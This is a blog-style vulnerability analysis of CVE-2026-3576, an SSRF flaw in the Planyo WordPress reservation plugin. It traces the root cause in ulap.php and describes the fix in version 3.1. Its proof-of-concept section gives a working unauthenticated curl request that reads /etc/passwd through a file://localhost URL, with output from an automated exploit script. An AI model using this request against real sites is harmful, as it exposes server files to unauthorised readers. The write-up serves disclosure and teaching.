July 28, 2026
From Source Code to Exploit: Understanding CVE-2026–3576
In this article, I’ll be diving deep into the technical details of a recently disclosed vulnerability in Wordpress’s Planyo Online…
By Balachandar Gowrisankar
5 min read
In this article, I'll be diving deep into the technical details of a recently disclosed vulnerability in Wordpress's Planyo Online Reservation System plugin. The vulnerability is about a Server-Side Request Forgery(SSRF) flaw which allows an unauthenticated attacker to extract sensitive files from the web server and access internal websites not exposed publicly. I will be analyzing the source code to explain the flaw and demonstrate its impact on a vulnerable Wordpress instance with the help of a simple exploit that I developed.
Let's get started!
Introduction
The Planyo Online Reservation System plugin lets developers add a complete booking system onto their site. It comes with 30+ languages and eases handing of email communication with clients, booking confirmation mechanisms, credit card payments and invoices. It has 400+ active installations and is ideal for businesses such as hotels, holiday apartments, yacht rentals etc.
The SSRF vulnerability affects all versions of this plugin upto and including 3.0. A patch was introduced in version 3.1 to mitigate the vulnerability.
Vulnerability Overview
The plugin uses a ulap.php as an AJAX proxy and is directly accessible via command line without any authentication. This proxy validates the host of the provided URL against an allowlist that includes 'localhost', but does not validate the URL's scheme/protocol. This makes it possible for unauthenticated attackers to supply a file:// URL (e.g., file://localhost/etc/passwd) to bypass the allowlist checks. The URL is then passed to curl_init() or fopen(), both of which support the file:// protocol, allowing the attacker to read arbitrary local files on the server and have their contents returned in the HTTP response. The vulnerability has a CVSS score of 7.2.
Lab Setup
I setup a Kali Linux VM instance on my laptop and installed WordPress 7.0.2. Only latest plugin versions can be downloaded directly from WordPress admin dasboard. To download the vulnerable version for testing, I first installed the WP Rollback plugin. This helps rollback any WordPress plugin to an older or newer version with ease. Next, I installed the latest version of the planyo plugin from the admin dashboard.
Once downloaded and activated, we notice a Rollback option right at the bottom of the plugin as shown above. This is available to us since we have installed the WP Rollback plugin. Using this option, we can easily rollback the plugin to a vulnerable version.
If we click on Rollback, we are presented with the above options. We can choose 2.9 and click on Rollback. A vulnerable version of the plugin is now installed.
Root Cause Analysis
Before we jump to the exploit part, let us first try to understand the 'why' of the vulnerability. The culprit for the vulnerability lies within the ulap.php file of the plugin. The plugin uses the ulap.php file as an AJAX proxy.
What is an AJAX proxy?
A website can reference third-party/cross-origin APIs or data for rendering content to users. By default for security reasons, browsers do not allow cross-origin requests. The host, port and protocol of a website make up it's origin. AJAX proxies are a way to bypass this restriction. Instead of the browser directly making the cross-origin request, the request is first sent to the proxy which resides on the server. The proxy then makes the request to the cross-origin and returns the data to the client. Basically, the proxy acts as a middleman between the browser and the cross-origin and helps in forwarding requests and responses.
How is the proxy used in the plugin?
To understand its usage in the plugin, let's take a look at the code. The ulap.php file is referred in the planyo-plugin-impl.php file.
7. require_once(dirname(__FILE__).'/ulap.php');7. require_once(dirname(__FILE__).'/ulap.php');The send_http_post() function of ulap.php is used within planyo_get_contents() function.
56 function planyo_get_contents($url, $params) {
57 return send_http_post($url, $params);
58 }56 function planyo_get_contents($url, $params) {
57 return send_http_post($url, $params);
58 }The planyo_get_contents() simply passes a URL and set of parameters to the send_http_post() function. Next, let's see where the planyo_get_contents() function is used. It is used at three places: lines 118, 137 and 155.
118 echo planyo_get_contents(((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ? "https" : "http")."://www.planyo.com/rest/planyo-reservations.php", planyo_add_other_params($params));
<SNIP>
137 echo planyo_get_contents(((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ? "https" : "http")."://www.planyo.com/rest/planyo-reservations.php", planyo_add_other_params($params));
<SNIP>
155 echo planyo_get_contents((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on' ? "https" : "http")."://www.planyo.com/rest/planyo-reservations.php", planyo_add_other_params($params));118 echo planyo_get_contents(((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ? "https" : "http")."://www.planyo.com/rest/planyo-reservations.php", planyo_add_other_params($params));
<SNIP>
137 echo planyo_get_contents(((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ? "https" : "http")."://www.planyo.com/rest/planyo-reservations.php", planyo_add_other_params($params));
<SNIP>
155 echo planyo_get_contents((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on' ? "https" : "http")."://www.planyo.com/rest/planyo-reservations.php", planyo_add_other_params($params));So, the plugin basically uses the ulap.php proxy to fetch contents from the REST endpoint of https://www.planyo.com. If the cross-origin URL is already hardcoded, then there shouldn't be any problem right?
What is wrong with ulap.php?
Well, the first problem with ulap.php proxy is that it is accessible by anyone. You do not need to be an authenticated user or have admin privileges to access it. This allows an attacker to submit any custom URL to the proxy. But this problem by itself does not cause any issues.
The main crux of the vulnerability lies in the source code. On inspecting the source code of ulap.php, we see the following lines in send_http_post():
function send_http_post($url, &$fields) {
<SNIP>
if ($host != "www.planyo.com" && $host != "arc.planyo.com" && $host != "sandbox.planyo.com" && $host != "localhost")
return "Error: Call to $url not allowed";function send_http_post($url, &$fields) {
<SNIP>
if ($host != "www.planyo.com" && $host != "arc.planyo.com" && $host != "sandbox.planyo.com" && $host != "localhost")
return "Error: Call to $url not allowed";The proxy has a checklist for allowed hostnames to prevent an attacker from providing custom URLs. Note that it includes localhost. This is going to be a problem later on.
The URL is then passed to curl or fopen depending on whichever is available.
if (function_exists('curl_init')) {
$cs = @curl_init($url);
<SNIP>
}
$fp = @fopen($url, 'r', false, $context); if (function_exists('curl_init')) {
$cs = @curl_init($url);
<SNIP>
}
$fp = @fopen($url, 'r', false, $context);Now both curl and fopen allow requests with the file:// scheme. While the proxy performs hostname checks, it fails to perform URL scheme checks. Since 'localhost' is allowed in the URL hostname, an unauthenticated attacker can pass a URL like file://localhost/etc/passwd to retrieve the local password config file in linux-based systems.
Proof of Concept
Now that we have understood the technical part of the vulnerability, it's time to exploit it in the instance that we have setup. The proof of concept is quite simple. The ulap.php allows a GET request with the ulap_url parameter. The ulap_url parameter is the url parameter which is passed to send_http_post().
if (isset ($_POST ['ulap_url']))
echo send_http_post ($_POST ['ulap_url'], $_POST);
else if (isset ($_GET ['ulap_url']))
echo send_http_post ($_GET ['ulap_url'], $_GET);if (isset ($_POST ['ulap_url']))
echo send_http_post ($_POST ['ulap_url'], $_POST);
else if (isset ($_GET ['ulap_url']))
echo send_http_post ($_GET ['ulap_url'], $_GET);The following curl request ends up dumping the /etc/passwd file.
└─$ curl http://127.0.0.1/wordpress/wp-content/plugins/planyo-online-reservation-system/ulap.php?ulap_url=file://localhost/etc/passwd --path-as-is
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
<SNIP>└─$ curl http://127.0.0.1/wordpress/wp-content/plugins/planyo-online-reservation-system/ulap.php?ulap_url=file://localhost/etc/passwd --path-as-is
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
<SNIP>Note that we neither performed any authentication nor did we have admin privileges. Just a simple curl request from the command line targeting the ulap_url parameter did the job for us. This shows how a small flaw can have a huge impact.
Based on this simple PoC, I created a full fledged exploit that automates version detection to identify if the target is vulnerable and tries to retrieve the contents of custom files. The exploit is available here.
└─$ python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd
[*] Checking if target is vulnerable...
[+] Version found: 2.9
[+] Target is vulnerable
[*] Attempting to read arbitrary file...
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
<SNIP>└─$ python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd
[*] Checking if target is vulnerable...
[+] Version found: 2.9
[+] Target is vulnerable
[*] Attempting to read arbitrary file...
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
<SNIP>Patch analysis
The following lines of code were added to ulap.php to patch the vulnerability.
64 $scheme = isset($parts['scheme']) ? strtolower($parts['scheme']) : '';
65 if ($scheme != 'http' && $scheme != 'https')
66 return "Error: Only HTTP(S) URLs are allowed";
67
68 if ($host != "www.planyo.com" && $host != "planyo.com" && $host != "sandbox.planyo.com")
69 return "Error: Call to $url not allowed";64 $scheme = isset($parts['scheme']) ? strtolower($parts['scheme']) : '';
65 if ($scheme != 'http' && $scheme != 'https')
66 return "Error: Only HTTP(S) URLs are allowed";
67
68 if ($host != "www.planyo.com" && $host != "planyo.com" && $host != "sandbox.planyo.com")
69 return "Error: Call to $url not allowed";The author added a scheme check to ensure that only http or https URLs are allowed. This would prevent attackers from supplying file:// URLs to access sensitive files on the server. Besides, localhost is also removed from the whitelist of allowed hostnames. All these changes are introduced in version 3.1 of the plugin. So if you are using this plugin for your websites, ensure that you are using version 3.1 or above.
References
- CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-3576
- Vendor website: https://www.planyo.com/
- Exploit PoC: https://github.com/anirbala98/CVE-2026-3576